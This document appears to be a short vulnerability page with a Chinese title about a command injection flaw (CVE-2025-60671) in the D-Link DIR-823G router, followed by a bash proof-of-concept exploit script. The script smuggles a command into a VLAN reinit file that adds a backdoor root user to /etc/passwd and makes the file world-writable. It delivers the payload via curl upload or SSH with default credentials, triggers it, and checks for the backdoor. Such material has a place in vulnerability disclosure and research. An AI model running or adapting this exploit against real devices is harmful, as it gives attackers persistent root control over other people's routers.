D-Link DIR-823G路由器命令注入漏洞 (CVE-2025-60671)

#!/bin/bash # CVE-2025-60671 PoC - D-Link DIR-823G Command Injection # Target: D-Link DIR-823G Router # Firmware: DIR823G_V1.0.2B05_20181207.bin # Vulnerability: Command injection in /var/system/linux_vlan_reinit file processing TARGET_IP="192.168.0.1" # Normal prefix that passes validation NORMAL_PREFIX="vlan_reinit" # Injected command - creates backdoor user INJECTED_CMD="; echo 'admin:x:0:0:root:/tmp:/bin/sh' >> /etc/passwd; chmod 777 /etc/passwd;" # Generate malicious content MALICIOUS_CONTENT="${NORMAL_PREFIX}${INJECTED_CMD}" # Method 1: If you have write access via other vulnerability or service echo "[+] Writing malicious content to /var/system/linux_vlan_reinit" echo "${MALICIOUS_CONTENT}" | curl -T - "http://${TARGET_IP}/upload" 2>/dev/null || \ sshpass -p "admin" ssh admin@${TARGET_IP} "echo '${MALICIOUS_CONTENT}' > /var/system/linux_vlan_reinit" # Method 2: Via UART/JTAG debug interface (physical access) # echo '${MALICIOUS_CONTENT}' > /var/system/linux_vlan_reinit echo "[+] Content written. Triggering sysconf/timelycheck..." sshpass -p "admin" ssh admin@${TARGET_IP} "/usr/bin/sysconf &" sleep 2 # Verify exploitation echo "[+] Checking for backdoor..." sshpass -p "" ssh admin@${TARGET_IP} "cat /etc/passwd | grep admin" echo "[+] Exploitation complete. Use 'admin' user with root privileges"